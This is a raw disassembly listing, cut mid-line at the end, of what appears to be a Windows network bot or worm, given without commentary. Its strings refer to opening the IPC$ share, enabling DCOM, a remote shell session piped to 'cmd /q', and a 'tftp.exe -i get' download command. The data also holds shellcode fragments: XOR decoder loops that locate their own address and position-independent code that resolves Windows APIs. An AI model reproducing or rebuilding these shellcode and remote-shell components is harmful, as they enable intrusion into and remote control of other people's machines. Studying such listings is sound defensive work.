2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43386C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_433898 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4338CC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_4338D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_433914 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43396C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4339A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_4339F4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_433A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_433A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_433ADC: ; DATA XREF: sub_416C55+C4o jmp short loc_433AE0 ; --------------------------------------------------------------------------- loc_433ADE: ; CODE XREF: ___:loc_433AE0p jmp short loc_433AE5 ; --------------------------------------------------------------------------- loc_433AE0: ; CODE XREF: ___:loc_433ADCj call loc_433ADE loc_433AE5: ; CODE XREF: ___:loc_433ADEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_433AEA dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_433AEF db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_433AF4: ; DATA XREF: sub_416C55+A2o jmp short loc_433AF8 ; --------------------------------------------------------------------------- loc_433AF6: ; CODE XREF: ___:loc_433AF8p jmp short loc_433AFD ; --------------------------------------------------------------------------- loc_433AF8: ; CODE XREF: ___:loc_433AF4j call loc_433AF6 loc_433AFD: ; CODE XREF: ___:loc_433AF6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_433B01 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_433B05 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_433B0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_433B70 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_433B89 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_433B90 retn ; --------------------------------------------------------------------------- byte_433B90 db 0E8h ; CODE XREF: ___:00433B8Dj dword_433B91 dd 1 ; DATA XREF: sub_416ADE+45w byte_433B95 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_433B9F dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_433C20 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_433C30 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_433C3C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_433C48 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_433C4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_433C60 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_433C64 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_433C68 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_433C6C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_433C70 dd offset word_433C7A ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_433C74 dd offset word_433C7A ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_433C7A dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_433C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_433E7C dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_433E80 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_433E90 dd offset off_433E90 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_433E94 dd offset off_433E90 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_433EA8 dd offset dword_433EA8 dword_433EA0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_433EA8 dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF: ___:00433E98o ; ___:00433E9Co db 0 byte_435249 db 3 dup(0) ; DATA XREF: ___:off_4274DCo dd 319h dup(0) off_435EB0 dd offset off_433E90 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_435EB4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_435EB8 dd 14h ; DATA XREF: sub_41C5B8+2o off_435EBC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_435F90 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_435FA0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_435FB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_435FC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_435FD0 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_435FD4 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_435FD8 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_435FDC dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_435FE0 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_435FE4 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_435FF4 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_435FF8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_436000 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_436008 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_436010 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_436014 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_436020 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_436100 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_436104 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_436268 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43626C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4362E0 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_4362E4 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_4362E8 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_4362EC dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_4362F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_4362F8 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_4362FC dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_436388 dd offset dword_4CDCC0 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_4CDCC0 dd 101h dword_436398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_4363A8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4363C8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4363F8 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_436608 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_436610 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_436628 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_436640 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_436644 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_436648 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43664C dd offset loc_54534E+2 ; DATA XREF: ___:off_4366CCo dd 0Fh dup(0) off_43668C dd offset aMBAvMbBskh ; DATA XREF: ___:off_4366D0o ; "M)ÂêV´MÂ]=ÊbéªH" dd 0Fh dup(0) off_4366CC dd offset off_43664C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_4366D0 dd offset off_43668C ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_4366D8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_4366DC dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_4366E0 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_4366E8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_4366EC dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_4366F0 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_4366F4 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_436724 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_436728 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_436760 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4368C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_436A1C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_436A34 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_436A54 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_436A74 dd offset off_424D00 ; DATA XREF: ___:off_424E24o ; ___:00424E68o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_436A98 dd offset off_424D00 ; DATA XREF: ___:off_424E70o ; ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_436AB8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_436ABA dw 0 ; DATA XREF: sub_40144A+1E3w word_436ABC dw 0 ; DATA XREF: sub_40144A+1E9w word_436ABE dw 0 ; DATA XREF: sub_40144A+1F0w byte_436AC0 db 0 ; DATA XREF: sub_40144A+1F7w byte_436AC1 db 0 ; DATA XREF: sub_40144A+1FEw word_436AC2 dw 0 ; DATA XREF: sub_40144A+204w dword_436AC4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_436AC8 dd 0 ; DATA XREF: sub_40144A+258w byte_436ACC db 0 ; DATA XREF: sub_40144A+26Aw byte_436ACD db 0 ; DATA XREF: sub_40144A+27Dw word_436ACE dw 0 ; DATA XREF: sub_40144A+295w word_436AD0 dw 0 ; DATA XREF: sub_40144A+2A4w word_436AD2 dw 0 ; DATA XREF: sub_40144A+29Cw dword_436AD4 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_436ED8 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_436EDC db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_436EE0 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_436EEC dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_436EF4 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Do ... dword_436EF8 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_436F00 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_436F08 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_436F0C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_436F18 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_436F1C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 7FEh dup(0) dword_438F18 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_438F30 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_438F34 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_439038 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43913C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_439140 dd 0 ; DATA XREF: sub_407252+52w dword_439144 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_439148 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_4391C8 dd 0 ; DATA XREF: sub_407252+8Fw dword_4391CC dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_4391D0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_4391D8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_4391DC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_439464 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_439568 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_439570 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_439574 dd 0 ; DATA XREF: sub_407252+2E7w dword_439578 dd 0 ; DATA XREF: sub_407252+2F4w dword_43957C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_439584 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_439588 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43958C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_439690 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_439794 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_439798 dd 0 ; DATA XREF: sub_407252+171w dword_43979C dd 0 ; DATA XREF: sub_407252+1EEr dword_4397A0 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_439820 dd 0 ; DATA XREF: sub_407252+1AEw dword_439824 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_439828 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_439830 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_439838 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_439A38 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43A238 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43AA38 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43AA3C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43AA40 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43AA44 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43AA48 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43AC48 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43AC50 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43AC54 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43AC58 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43AC5C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43AC60 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43AC64 dd 0 ; DATA XREF: sub_40981F+65w ; sub_41518A+F5r dword_43AC68 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43AC6C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43AC70 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43AC74 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43AC78 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43AC7C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43AC80 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43AC84 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43AC88 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43AC8C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43AC90 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43AC94 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43AC98 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43AC9C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43ACA0 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43ACA4 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43ACA8 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43ACAC dd 0 ; DATA XREF: sub_40981F+B3w dword_43ACB0 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43ACB4 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43ACB8 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43ACBC dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43ACC0 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43ACC4 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43ACC8 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43ACCC dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43ACD0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43ACD4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43ACD8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43ACDC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43ACE0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43ACE4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43ACE8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43ACEC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43ACF0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43ACF4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43ACF8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43ACFC dd 0 ; DATA XREF: 